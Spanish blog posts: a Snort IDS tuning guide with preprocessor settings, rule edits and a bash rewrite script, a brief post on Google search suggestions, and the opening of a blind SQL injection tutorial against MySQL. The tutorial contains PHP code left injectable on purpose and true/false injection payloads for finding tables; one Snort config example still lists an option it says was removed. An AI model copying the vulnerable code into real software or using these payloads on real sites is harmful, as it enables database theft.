Algo a tener en cuenta en las distribuciones basadas en debian es que el script que inicia snort (/etc/init.d/snort) toma como parámetros las variables configuradas en /etc/snort/snort.debian.conf. En ese archivo se debe especificar cuáles son las redes locales en la variable DEBIAN_SNORT_HOME_NET. Esta variable se utiliza como la variable HOME_NET en snort, la cual indica a las reglas cuáles son las redes locales. Realmente me llamó mucho la atención (y me costó un rato de trabajo) el hecho de configurar las redes locales en snort.debian.conf, cuando esto se suele hacer en el archivo snort.conf. El script de inicio de snort no "presta atención" a la HOME_NET configurada en snort.conf porque directamente pasa por parámetro lo obtenido del archivo snort.debian.conf. Me parece horrible tener dos archivos que definen las mismas variables, porque lleva a confusión. Claro que podemos cambiar esto si editamos el script /etc/init.d/snort.

Existe el caso peculiar de la red 169.254.0.0/16 (o direcciones link-local), la cual está designada para autoconfiguración de las máquinas cuando no existe un servidor dhcp. Si la máquina no tiene IP fija y no encuentra servidor DHCP, se auto-asigna una IP de ese rango (configuración default en los Windows). A estas IPs se las podría considerar como local porque es imposible que llegue un paquete externo con alguna de ellas, dado que los routers no los reenvían. Me ocurrió de tener una altísima cantidad de alertas por una máquina que no se asignó IP y enviaba pedidos al proxy con una link-local. Teniendo esta red en la HOME_NET elimina el problema.

Configurar cuáles son las redes locales es muuuuy importante, porque luego dependiendo de éstas, snort dispara alertas o no. Es decir, no es lo mismo recibir una conexión CIFS (protocolo de compartición de archivos de Microsoft) desde una red local que desde una red externa, la primera es considerada tráfico normal, mientras que la segunda se puede considerar un ataque y se dispara una alerta. Si revisan un poco las alertas de snort, verán que la mayoría de las reglas tienen el formato "$HOME_NET port_orig -> $EXTERNAL_NET port_dest" o bien "$EXTERNAL_NET port_orig -> $HOME_NET port_dest", es decir, se dispara alertas en caso de tráfico interno externo y externo interno.
En el default $EXTERNAL_NET está definido como todo lo que no es $HOME_NET, lo cual encaja con la idea y sirve para la mayoría de los casos. Si en el monitoreo que desear realizar esto cambia, presten atención también a esta variable.


Variables

Habiendo aclarado el tema de los archivos de configuración, veamos un poco las variables que podemos tocar:
- DEBIAN_SNORT_HOME_NET (/etc/snort/snort.debian.conf): es la variable más importante, donde definiremos cuáles son las redes locales.
- HOME_NET (/etc/snort/snort.eth0.conf): al igual que DEBIAN_SNORT_HOME_NET, setea las redes locales, pero como les expliqué, en el paquete de debian el script de inicio obvia esta variable y utiliza en su lugar la otra.
- EXTERNAL_NET (/etc/snort/snort.conf): suele definirse como todo lo que no es la home net. A menos que necesiten explicitar algo distinto, dejen esta configuración como está, es decir "EXTERNAL_NET !HOME_NET".
- DNS_SERVERS, SMTP_SERVERS, HTTP_SERVERS, SQL_SERVERS, FTP_SERVERS, SNMP_SERVERS (/etc/snort/snort.conf): define cuáles son los servidores DNS, SMTP, HTTP, SQL, FTP y SNMP respectivamente. Siempre que quieran definir un grupo de IPs o ports, utilicen corchetes []. Por ejemplo, si decimos que los servidores HTTP son 192.168.1.81 y 192.168.1.82, la notación será HTTP_SERVERS [192.168.1.81, 192.168.1.82]. También pueden definir redes enteras con notación CIDR en estas variables.
- HTTP_PORTS, ORACLE_PORTS, FTP_PORTS (/etc/snort/snort.conf): define los ports en los que escuchan nuestros servidores HTTP, ORACLE y FTP. Algunas reglas toman estos parámetros como indicativo que tráfico de estos protocolos a otros ports son ataques.


Preprocesadores

Teniendo declaradas las variables, pasemos a configurar los preprocesadores.
Como les mencionaba en el artículo donde describí snort, éste provee reglas y preprocesadores. Los preprocesadores permiten modificar o analizar los paquetes de forma más completa que usando reglas.

En mi caso particular necesité modificar la configuración de 3 preprocesadores: ssh, http_inspect, sfportscan y Frag3. Las modificaciones son simples, aunque toma tiempo leer los manuales de los preprocesadores para entender lo que reportan y cómo configurarlos.
Veamos entonces una breve descripción y las modificaciones que realicé en cada preprocesador:

- ssh: busca anomalías en las comunicaciones SSH y las reporta. Tiene varias opciones que permiten detectar distintos tipos de ataques overflow conocidos, y detectar payloads que no cumplen con las especificaciones del protocolo (por ejemplo tamaños, dirección del tráfico, etc).

El problema con este preprocesador es que reporta continuamente el error "ssh: Protocol mismatch", el cual es una alerta disparada en los casos que detecta que la versión SSH del cliente es distinta a la del servidor (SSH v1 o v2). Ejecutando la misma versión en cliente y servidor, esta opción del preprocesador (enable_protomismatch) me seguía alertando, y buscando encontré que hay un bug. Por esto decidí deshabilitarla.
Desactivar la opción es tan simple como borrarla de la configuración. Es decir, ahora el preprocesador debería quedar algo como:
preprocessor ssh: server_ports { 22 } \
max_client_bytes 19600 \
max_encrypted_packets 20 \
enable_respoverflow enable_ssh1crc32 \
enable_srvoverflow enable_protomismatch
donde como ven, no está "enable_protomismatch.
Pueden ver el manual del preprocesador SSH en el README.

- sfPortscan: detecta escaneo de ports buscando cierta cantidad de respuestas negativas en un dado intervalo de tiempo. Si un cliente es "legal" conocerá al port que debe conectarse, mientras que si está haciendo un escaneo, seguramente recibirá muchas respuestas negativas al encontrarse con ports cerrados. Esto es lo que sfportscan reconoce y alerta.

La configuración que realicé sobre este preprocesador es básicamente definir qué "escaneadores" ignorar. Tenía el problema que detectaba a mis servidores DNS, SMTP y Proxy como escaneadores, cuando en realidad no lo son. La razón de la detección puede ser el hecho que tanto el proxy como los servidores DNS y SMTP reciben muchos paquetes TCP con el bit RST encendido, aunque debería investigar un poco más el por qué sucede esto. El bit RST se envía cuando uno de los extremos decide terminar la conexión debido a algún fallo, y es algo que se utiliza cuando un port no está abierto, por ello portscan lo toma como respuesta negativa (alias, port scan) y lo reporta.
Sea como sea, me registraba muchas alertas falsas, así que decidí ignorar estos host. Esto lo podemos hacer agregando la opción "ignore_scanners" y registrando los host separados por coma. Por ejemplo, suponiendo que el Proxy es 192.168.1.80, el DNS 192.168.1.53 y STMP 192.168.1.22, el preprocesador debería quedar algo como:
preprocessor sfportscan: proto  { all } \
memcap { 10000000 } \
sense_level { low } \
ignore_scanners { 192.168.1.80, 192.168.1.53, 192.168.1.22 }


sfPortscan tiene muchas más opciones y probablemente les interesen varias, así que aconsejo leer el README.

- HttpInspect: decodifica el protocolo HTTP para aplicaciones del usuario. Dado un buffer de datos, HttpInspect decodifica el buffer, encuentra los campos HTTP y los normaliza. Este preprocesador permite alertar ante ciertos campos sospechosos en el protocolo HTTP.

El problema que encontré con HttpInspect es que alerta sobre codificaciones sospechosas donde los "afectados" eran servers de la extranet. Los alertas más recurrentes eran "Double decoding attack", "IIS Unicode Codepoint Encoding", "Bare Byte Unicode Encoding", y "Oversize Request URI Directory". La mayoría de los alertas son falsos positivos y se deben al funcionamiento de cada página. Debido a que me interesan sólo ataques sobre mis servers Web, y dada la cantidad de falsos positivos, es necesario modificar la configuración.

HttpInspect permite definir configuraciones diferentes para diferentes servers. Además ofrece configuraciones default llamadas "perfiles" ya personalizadas para cada tipo de server (Apache, IIS, etc). Estas configuraciones personalizadas traen activadas diferentes opciones que tienen en cuenta las características del server. Por ejemplo, hay alertas que tienen sentido si el servidor es Apache y no IIS.

Supongamos entonces que en mi red tengo un servidor Apache 192.168.1.81 y un servidor IIS 192.168.1.82. Por un lado eliminamos los alerts para todo servidor que no esté en nuestra red:
preprocessor http_inspect: global \
iis_unicode_map unicode.map 1252

preprocessor http_inspect_server: server default \
profile all ports { 80 8080 8180 } \
no_alerts
Como pueden observar, en la primer configuración seteo el mapeo unicode a 1252, esto ya viene así por defecto y conviene dejarlo. La parte interesante es donde definimos el comportamiento del preprocesador para cualquier servidor (server default). Seteamos que los posibles ports HTTP son 80, 8080 y 8180, y agregamos la opción "no_alerts" para que no envíe alertas.

Ahora que ya tenemos la configuración default, especificaremos las opciones para los servers de nuestra intranet:
preprocessor http_inspect_server: server { 192.168.1.81 } \
profile iis ports { 80 }

preprocessor http_inspect_server: server { 192.168.1.82 } \
profile iis ports { 80 }
El resultado es que el preprocesador alertará sólo si ve tráfico sospechoso sobre los servers 192.168.1.81 y 192.168.1.82.
Al igual que sfPortscan, HttpInspect provee muchas opciones, logrando alto nivel de customización. Pueden leer sobre el resto en el README.

- Frag3: observa la fragmentación de los paquetes IPs y reporta en casos de encontrar anomalías. Debido a que cada SO interpreta a su manera las secciones ambiguas de los RFC del protocolo IP, existen distintas implementaciones sobre cómo es posible fragmentar un paquete.
Gracias a esto, puede que la fragmentación de paquetes permita bypassear firewalls o IDS. Un paquete que es inválido para un sistema, tal vez es ensamblable por otro, convirtiéndolo en un paquete válido.
Uno de los ataques conocidos es fragmentar los paquetes de forma que un fragmento pise los datos que entregó un fragmento anterior, de forma de cambiar el port orígen o destino.

El problema que encontré con este preprocesador es el recurrente alert "Fragmentation overlap". Al parecer frag3 no funciona correctamente con VPNs basadas en IPSec (tal vez con otras VPNs también). No indagué más profundamente el por qué de los overlap en IPSec, pero da muchos falsos positivos.
La solución que encontré es limitar el preprocesador para que analice los paquetes cuyas IP destino no pertenecen a la VPN. Esto se puede hacer utilizando la opción "bind_to". Con esta opción asignamos las redes/IPs que queremos analizar.

Suponiendo que las IPs de mi red, no pertenecientes a la VPN son del rango 192.168.1.0/24, la configuración quedaría de la siguiente forma:
preprocessor frag3_engine: policy first detect_anomalies overlap_limit 10 \
bind_to 192.168.1.0/24
Para más información sobre Frag3, leer el README.


Desactivar/modificar reglas

OK, terminamos de configurar los preprocesadores, es hora de desactivar reglas!
Cada regla tiene su propósito y fue designada por alguna razón, pero la realidad es que muchas no tienen sentido en todas las redes. Snort les puede llenar un disco en pocas horas si no está configurado correctamente y se obvian alertas que no son necesarias.

Existen distintas formas de desactivar alertas en Snort, las cuales están explicadas en el excelente documento escrito por el creador de Oinkmaster How to stop Snort alerts from being generated / how to (not) ignore traffic.
A mi parecer, la mejor opción es comentar las reglas que no nos sirven y agregarlas en la opcion disablesid del oinkmaster.conf para que no las vuelva a activar en alguna actualización.

Las reglas que desactivé están destinadas a aplicar políticas sobre el tráfico que los usuarios tienen permitido. Como en la empresa que trabajo está permitido el acceso a webmails y el chat, éstas reglas son inútiles dado que reportan continuamente algo que ya asumimos:
- sids 2000571, 2000572, 2003121, 2003122, 2000035-2000039, 2008238-2008242, 2001424-2001426 : ubicadas en /etc/snort/rules/emerging-policy.rules, estas reglas están destinadas a reportar acceso a webmails (AOL, Hotmail, Yahoo), y google docs.
- sids 2002332-2002335, 2001241-2001243, 2001682, 2002192, 2008289, 2009375-2009376, 2001253-2001264, 2002659, 2007066-2007069: ubicadas en /etc/snort/rules/emerging-policy.rules, estas reglas reportan la presencia de programas de chat (MSN, GTalk, Yahoo IM).

Por otra parte tuve que modificar algunas reglas por generar reportes erróneos. El caso es que las reglas destinadas a detectar anomalías en el protocolo SIP (protocolo de voz), no matchean correctamente los campos que deben y generan miles de falsos positivos.
Como pueden ver en el manual de snort, las reglas tienen el formato "acción protocol IPsrc port -> IPdst port (opciones)". Existen distintas acciones posibles, siendo la más común "alert". Si bien no encontré una referencia que me diga qué sucede cuando el protocolo usado es "ip", al parecer este no funciona como los que desarrollaron las reglas SIP creían.
Las reglas que reportan errores en SIP tienen el siguiente formato: alert ip any any -> any 5060 (opciones). La idea creo que era matchear tanto paquetes tcp como udp, porque el protocolo SIP puede trabajar sobre ambos. La versión de Snort que yo tengo [2.8.5.2 (Build 121)], no interpreta las eglas de esta forma.
Por lo explicado anteriormente, y como no quería eliminar estas reglas, lo que hice fue deshabilitarlas en su archivo original (/etc/snort/rules/community-sip.rules), agregar los sids en disablesid de Oinkmaster (100000158-100000163, 100000223), y crear nuevas reglas en el archivo /etc/snort/rules/local.rules. Este último archivo está destinado a eso, para generar reglas propias, y Oinkmaster no lo pisa al realizar actualizaciones.
En local.rules agregué las mismas reglas, pero ahora dividiéndolas en tcp y udp. Por ejemplo, para la regla con sid 100000158, cree una versión tcp con el mismo sid y una versión udp con el mismo sid pero comenzando en 9.
alert tcp any any -> any 5060 (msg:"COMMUNITY SIP INVITE message flooding"; content:"INVITE"; depth:6; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:100000158; rev:2;)
alert udp any any -> any 5060 (msg:"COMMUNITY SIP INVITE message flooding"; content:"INVITE"; depth:6; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:900000158; rev:2;)
Lo mismo hice con el resto de las reglas.

Siguiendo con las modificaciones, también tuve que adaptar una regla que reportan anomalías DNS. La regla en cuestión genera el alerta "COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses" y se encuentra en /etc/snort/rules/community-sip.rules.
La regla dispara la alerta cuando alguno de nuestros servidores DNS ($DNS_SERVERS) retorna varias respuestas del tipo "Not Found" a un dado host en un determinado intervalo de tiempo. En general esto puede significar que algún atacante está haciendo fuerza bruta para determinar qué nombres DNS existen en la red, pero hay excepciones.
Como en la empresa utilizamos el servicio de spamhaus para determinar si una dirección DNS se encuentra en una lista negra (algo que nos permite descubrir Spammers y así rechazar e-mails de Spam), este tipo de alertas surge a menudo. Por diseño las DNSBL (DNS Black List) funcionan retornando "Not Found" si una dirección DNS no se encuentra en la lista negra, y dado que se reciben muchos mails por minuto, se arrojan muchos "Not Found" por minuto, ocasionando que la regla de snort genere muchos alerts.
Además el Proxy que actúa de servidor DNS y de cliente de nuestro servidor de DNS, puede también ocasionar muchos "Not Found", por lo que necesitamos evitar las consultas de estos equipos.
Para evitar esto, al igual que antes, podemos comentar la regla cuyo sid es 100000161 y agregar una nueva en local.rules que tenga en cuenta estos casos.
alert udp $DNS_SERVERS 53 -> ![$DNS_SERVERS,$SMTP_SERVERS,$MONITOR] any (msg:"COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses"; content:"|83|"; offset:3; depth:1; threshold: type both, track by_dst, count 100, seconds 60; content:!"spamhaus.org"; classtype:attempted-dos; sid:100000161; rev:2;)
Existe una regla casi igual a la anterior, que también debemos modificar. Esta regla se encuentra en /etc/snort/rules/emerging-policy.rules y, al igual que la anterior, alerta cuando ve muchos "Not Found" enviados por algún servidor DNS. La diferencia con la regla anterior es que en este caso, el servidor orígen puede ser cualquiera, y los hosts destinos no deben ser ni nuestros servidores DNS ni los SMTP.
El problema con esta regla es que recibía muchos alertas desde la misma máquina monitor (OSSIM). Esto se debe a que la máquina monitor intenta resolver todas las IPs que ve pasar, y como muchas IPs no tienen resolución inversa, recibe muchos "Not Found".
En este caso, haremos igual que antes, comentamos la regla con sid 2103195 y creamos una nueva en local.rules que sea como la siguiente:
alert udp any 53 -> ![$DNS_SERVERS,$SMTP_SERVERS,$MONITOR] any (msg:"ET POLICY Unusual number of DNS No Such Name Responses"; content:"|83|"; offset:3; depth:1; threshold: type both , track by_dst, count 50, seconds 300; classtype:bad-unknown; reference:url,doc.emergingthreats.net/2003195; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/POLICY/POLICY_DNS_Responses; sid:2103195; rev:5;)
donde $MONITOR es la IP de la máquina monitor.


Reglas con Proxy

La mayoría de las reglas no tienen en cuenta que puede existir un proxy en la red y que todos los accesos Web a internet se realizan a través de este. El formato de las reglas suele ser:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (opciones)
y en las opciones se especifican los parámetros a matchear en un paquete para descubrir anomalías como accesos a megaupload, uso de Base64 para transmitir credenciales, etc.
Si bien las reglas funcionan correctamente y podemos ver el alert, no podemos ver quién fue el origen. Es decir, como tenemos un Proxy, el pedido de un usuario en la red será al proxy (HOME_NET -> HOME_NET), y la alerta no se dispara. La alerta recién se dispara cuando el Proxy sale a buscar la página a internet (HOME_NET -> EXTERNAL_NET), pero en este caso el orígen del pedido es el Proxy. Como resultado tenemos que todos los alerts parecen causados por el proxy y no tenemos forma de ver quién fue el que hizo el pedido al proxy... es decir, un alert que no nos sirve de nada.

Entre las opciones se me ocurrió sacar al proxy de HOME_NET, quedando entonces en EXTERNAL_NET, por lo que los pedidos de los clientes al proxy quedarían registrados. El problema es que como nuestro proxy forma parte del dominio, utiliza recursos de varios otros servidores (DNS, CIFS, LDAP, etc), y hay muchas reglas que si detectan que un host de la EXTERNAL_NET accede a servicios de la HOME_NET como LDAP, disparan alertas. Es decir, arreglo un problema, pero comienzo a tener un tremendo problema de falsos positivos.

La solución que implementé es reescribir todas estas reglas y que queden con el formato:
alert tcp $HOME_NET any -> $PROXY_SERVERS $PROXY_PORTS (opciones)

Como existen muchas reglas de este estilo, cree un script en bash que automatice el proceso, y lo agregué al script de actualización de reglas de snort que cité en "Mantener Snort actualizado" (ver la última línea snort_proxy-fixer). Este script deberían colocarlo en /usr/sbin para que funcione el script de actualización. La función es simple, revisa todos los archivos con reglas y utiliza sed para reemplazar "tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS" por "tcp $HOME_NET any -> $PROXY_SERVERS $PROXY_PORTS":

#!/bin/bash

######################################################
# Created by: d3m4s1@d0v1v0
# Covered by GPLv2.0
######################################################

SNORT_RULES_PATH="/etc/snort/rules/"

RULES_FILE=$( ls $SNORT_RULES_PATH )

echo "************************************************"
echo "*** snort rules proxy fixer by d3m4s1@d0v1v0 ***"
echo "************************************************"
echo
echo "replacing rules <\$HOME_NET any -> \$EXTERNAL_NET \$HTTP_PORTS> with <\$HOME_NET any -> \$PROXY_SERVERS \$PROXY_PORTS>"
echo "please define the variables \$PROXY_SERVERS and \$PROXY_PORTS in snort.conf. Usual PROXY_PORTS are 8080 (ISA) and 3121 (Squid)"
echo

for FILE in $RULES_FILE
do
FILE=$SNORT_RULES_PATH$FILE
TMP_FILE=$FILE".tmp"
if [ -f $FILE ]
then
sed s/"tcp \$HOME_NET any -> \$EXTERNAL_NET \$HTTP_PORTS"/"tcp \$HOME_NET any -> \$PROXY_SERVERS \$PROXY_PORTS"/ $FILE > $TMP_FILE
cp $TMP_FILE $FILE
rm $TMP_FILE
if [ $? != 0 ]
then
echo "ERROR fixing file!:"$?
else
echo -n .
fi
fi
done

echo "[done]"

Habría que pensar qué otro formato se le puede dar para el caso de tener hosts que no salen por el proxy, pero en mi caso funciona perfecto.


Problema sin solución simple

Encontré un problema con el preprocesador sfPortscan. Si, solucioné el problema inicial con los servers más utilizados (DNS, Proxy, SMTP), pero sigo obteniendo muchos falsos positivos. Tal vez sea la configuración Windows que envía muchos RST cuando no correspondería hacerlo.
Estaré trabajando sobre este problema y si encuentro alguna solución les comento =)


Conclusiones

Snort es un IDS excelente y muy completo, pero algo complejo y que necesitamos utilizarlo un tiempo para entender el funcionamiento y adaptarlo a nuestras necesidades. Como siempre digo, no hay mejor forma de aprender a utilizar snort que leyendo el Snort User Manual. Leerlo toma un tiempo, pero ahorra tiempo de enojo y de buscar qué es lo que pasa cuando algo no anda.

Por suerte una vez customizado tendremos una fuente confiable de lo que sucede en la red, la cual podemos consultar en el momento que deseemos, o incluso configurar para que nos envíe las alertas por mail.
Si bien no hablé sobre activar acciones al ocurrir ciertos alertas, esto es factible y una característica muy interesante que espero estar aprendiendo próximamente. Por ahora utilizo Snort como sistema de reporte de problemas a través de la interfaz Web de OSSIM.

No se desesperen por la cantidad de falsos positivos que ven al principio. Luego del uso diario aprenden a distinguir falsos positivos y a "adaptar" las reglas que los generan para que no siga sucediendo. Por suerte las reglas están escritas en texto plano y son fáciles de entender una vez que leen el manual, o los diversos tutoriales que existen sobre escritura de reglas.
Una vez que aprenden a crear reglas, les resultará muy útil para generar alertas especiales sobre cosas que suceden en la red. La posibilidad de adaptación de Snort a una red es enorme, solo lleva un tiempo.

Como dije al principio, espero que esta Guía los ayude a entender un poco más Snort y no repetir errores que yo cometí, o investigar sobre cosas que ya investigué.
Google sugiere...
Desde que Google incorporó las sugerencias en su buscador he visto cosas de lo más extrañas. Esperar las sugerencias cuando estoy escribiendo las palabras clave de mi búsqueda es casi una forma de diversión. Para aquellos que no comprenden cómo funciona, Google guarda las búsquedas realizadas por todas las personas según su popularidad. Por lo tanto las sugerencias son las búsquedas similares que realizaron la mayoría de las personas. Luego Google utiliza la frase que escribimos en el cuadro de búsqueda como índice de una (gran) tabla de sugerencias.
Por qué me resulta divertido? Porque es divertido ver qué es lo que busca la mayoría de la gente. Si no me creen, prueben ingresando algunas de las siguientes frases y esperen las sugerencias de Google (sin presionar el botón "Buscar"). Que lo disfruten!

"como hacer para"



"de quien esta"



"mi mujer no"



"como se puede"



"que hago si"



"como hago para que"



Busquen más sugerencias divertidas y comenten! Gracias.
El arte de la inyección blind (MySQL)
Pasaron ya un par de meses desde que publiqué la primer entrega sobre SQL Injection (ver Inyección mortal: SQL Injection), donde introduje el SQLi y distintos tipos de ataque, y prometí continuar con artículos más avanzados. Para los que ya no creían que esto fuera a suceder, aquí esta! =D

Si bien la idea inicial era continuar mostrando ataques no-blind, es decir, ataques más fáciles de realizar debido a que el servidor nos retorna los errores de la base de datos, decidí cambiar el rumbo luego de realizar algunas pruebas blind sobre una página.


Refrescando la memoria...

El ataque Blind SQL Injection se realiza cuando la página/aplicación que deseamos atacar no retorna ningún error de base de datos. Es decir, si ejecutamos una consulta y ésta es incorrecta, el sistema no nos devolverá el error. De esta forma, realizar ataques es mucho más complejo porque tenemos que utilizar mucha imaginación y jugar con las respuestas del servidor.

La técnica utilizada en este tipo de ataques es realizar consultas del tipo true/false. El atacante primero investiga cuál es la respuesta que da el servidor ante una consulta conocida por dar siempre true (por ejemplo "or 1=1" o "and 1=1"), y cuál es la respuesta a una consulta que siempre sea false (por ejemplo "and 1=0"). Esto da la pauta de si una página es vulnerable a SQLi o no. Si una página retorna distintos valores al consultar por "and 1=1" y "and 1=0", quiere decir que detectamos una inyección.


Dos técnicas de inyección blind

La diferencia entre las respuestas a una consulta true y una false se puede observar de dos formas, una más difícil de detectar que la otra.

Si estamos con suerte, el contenido de la página será distinto en caso de consultas true y consultas false. Por ejemplo, supongamos que una página trae su contenido basado en el valor de la variable id de un parámetro GET. Si id=1 trae el contenido cuyo id es 1, y si id=3, trae el contenido cuyo id es 3. Ahora, si realizamos la consulta "id=1 and 1=1", y la página nos retorna el contenido cuyo id es 1, pero si consultamos por "id=1 and 1=0" no nos retorna ningún contenido, o bien nos retorna una página default (método muy utilizado para manejar excepciones).

En el caso difícil, el contenido que nos retorna la página es siempre igual, pero existe una diferencia en los tiempos de respuesta. En general una consulta false tardará un poco más que una consulta true, porque deberá realizar algún trabajo extra para obtener el valor del contenido a mostrar (aunque esto puede resultar imperceptible). La técnica más utilizada en este tipo de casos es agregar un sleep de cierta cantidad de segundos cuando una consulta es true o false y medir las respuestas. Este tipo de ataques es mucho más difícil y muy susceptible al tráfico en la red y el server. El gran problema es cómo medir ese tiempo y cuáles son los umbrales para detectar que las consultas retornan diferentes tiempos.

En este artículo me centraré en ataques del primer tipo, donde consultas true/false retornan diferentes contenidos y dejaré el segundo tipo para otro artículo.


Código para jugar

Como de costumbre, creo que la mejor forma de explicar estas cosas es utilizando un ejemplo. En este caso armé un ejemplo que resume el funcionamiento de la mayoría de las páginas. Un sistema que tiene un menú y trae el título y el contenido de la página basándose en la variable id en la URL. Una vez más, utilizo php como lenguaje base por ser el que más conozco y en el que tengo más experiencia. Igualmente el funcionamiento es similar en todos los lenguajes.

<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456');
mysql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id=".$_GET['id'];
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = @mysql_query($query))
$row = mysql_fetch_array($result);
elseif($result = @mysql_query("SELECT * FROM content WHERE id='3'"))
$row = mysql_fetch_array($result);

if(isset($row))
{
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
}
?>
</BODY>
</HTML>

Como pueden observar, el código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. Utilizo el @ delante de la función mysql_query para que no dispare una excepción en caso de consultas incorrectas.
La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'".

Nombré a la base de datos "test", y al usuario de base de datos "tester".
La tabla en la base de datos que contiene el contenido de la página se llama "content" y tiene los siguientes registros:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion blind |
+----+----------+------------------------------+
donde tengo id, titulo del contenido y el contenido en si.
Como siempre, debe haber algo más interesante que la tabla de contenido público para obtener, así que los ataques se dirigirán a la tabla "user", que contiene datos de usuarios:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | user | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+
ustedes dirán "passwords sin hashear?" oh yeah!, en los ataques que he realizado muchas veces me encontré con passwords sin hashear, así que me pareció interesan hacerlo así.


Obteniendo datos de la base de datos

Lo primero que tenemos que hacer en un ataque de este tipo es encontrar una variable que sea inyectable. Muchas veces la variable salta a la vista luego de navegar un poco por la página, pero en otras ocasiones no es tan simple y hay que buscar un poco. Como les comenté, voy a asumir que la página atacada muestra diferentes contenidos dependiendo de si una consulta devuelve un valor asociado a la consulta(consulta true), o retorna un valor default (consulta false). En el ejemplo que planteo, la vulnerabilidad es bastante visible dado que un id concatenado con una consulta true devuelve un contenido asociado al id, y uno concatenado con una consulta false, devuelve el contenido asociado al id default, es decir el id 3 que contiene la sección "News".
Lo que necesitamos hacer es utilizar un id diferente a 3 (utilizaremos id=1), concatenado a la consulta que deseamos inyectar. Si el contenido retornado es el del id 3 (News), la consulta falló, pero si el contenido está asociado al id de prueba 1 (SQL Test), la consulta fue satisfactoria.

Una vez que determinamos la variable a inyectar, es cuestión de paciencia y dedicación. En este punto uno puede optar por dos caminos:
- intentar obtener datos utilizando nombres clásicos de tablas y columnas como por ejemplo "usuario", "user", "username", "nick", "password", "email", "e-mail", "id", etc. Este camino puede ahorrarnos tiempo de investigación si acertamos en los nombres a utilizar.
- obtener el nombre de la base de datos, luego el de las tablas y por último el de las columnas de las tablas. Este es realmente un trabajo de hormiga, pero acá vamos a lo seguro, obtenemos dato por dato hasta lograr el objetivo.

Mi opción es primero intentar con nombres de tablas y campos que creemos pueden existir. Puede ser que desperdiciemos tiempo en vano, pero también puede ser que nos ahorre horas. Cuando se nos acaban las ideas, vamos por la segunda opción y obtenemos dato por dato.
Vale mencionar aquí que existen varias herramientas que nos permiten automatizar el proceso de obtener dato por dato, por lo cual podríamos ir directamente a la segunda opción. Pero como mi idea es explicar el arte de la inyección manual, explicaré como funcionan ambas formas.


Funciones MySQL que nos darán una mano

Antes de poder seguir, me veo obligado a explicar las funciones que nos servirán para obtener los datos que deseamos:

- database() devuelve el nombre de la base de datos actualmente seleccionada, o NULL si no hay ninguna seleccionada. Ejemplo: "SELECT DATABASE()" en el código anterior nos devolverá "test".

- user() retorna el nombre de usuario y host actual, es decir, el usuario que estamos usando para realizar las consultas. Ejemplo: "SELECT USER()" en el código anterior nos devolverá "tester".

- count(*) cuenta la cantidad de registros en una tabla. Ejemplo: "SELECT COUNT(*) FROM user" nos devuelve la cantidad de registros en la tabla user, es decir 3.

- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

- substring(str, pos, len) dado un string str nos devuelve el substring contenido a partir de la posición pos, y con un largo de len caracteres. Ejemplo: "SELECT SUBSTRING('ITFreek', 3, 5)" retorna 'Freek'.

- lower(str) retorna el string pasado por parámetro utilizando sólo minúsculas. Ejemplo: "SELECT LOWER('ITFreek')" retorna 'itfreek'.

- upper(str) la contrapartida de lower, es decir, nos devuelve todos los caracteres del string en mayúsculas. Ejemplo: "SELECT UPPER('ITFreek')" retorna ITFREEK. En la práctica solo utilizaremos lower o upper, no los dos.

- ascii(str) retorna valor numérico ascii (en hexa) del caracter en la primer posición del string str. Ejemplo: "SELECT ASCII('ITFreek')" retorna 73 (ascii de la letra I). A continuación les dejo la tabla ascii tomada de http://www.lookuptables.com



Veamos si existen tablas con nombres triviales

Como les comenté, primero investigaré si puedo acertar el nombre de las tablas que me interesan, y así ahorrarme el tiempo de obtener los nombres de a una letra por vez (como veremos más adelante).
Supongamos que imagino que la tabla de usuarios se llama usuarios, la forma que utilizaremos para verificar esto es utilizando la función count. De la explicación anterior saben que count cuenta la cantidad de registros de la tabla, así que si una tabla existe, debería retornar 0 o un valor mayor a 0. En cambio, si no existe, retornará un error.
Esto traducido a una inyección blind en el código que uso como ejemplo, debe ser interpretado de la siguiente forma:
- si la tabla existe, la página retornará de forma normal, mostrando el contenido asociado al id 1 (SQL Test);
- si la tabla no existe, la página retornará el contenido asociado al id 3 (News).

La consulta a nuestra página de ejemplo será la siguiente (omitiré la dirección de la página para poder visualizar solamente la variable inyectada):
?id=1 and (select count(*) from usuarios)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from usuarios).

Si la tabla usuarios existe, la página nos mostrará el contenido de la sección cuyo id es 1. Pero si no existe la consulta dará error, y nos retornará el contenido de News. Como la tabla usuarios no existe, obtendremos el contenido de News y entonces sabremos que estamos equivocados en el nombre.

Si ahora se nos ocurre que el nombre es "user", modificaremos la consulta anterior para que quede de la siguiente forma:
?id=1 and (select count(*) from user)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from user).
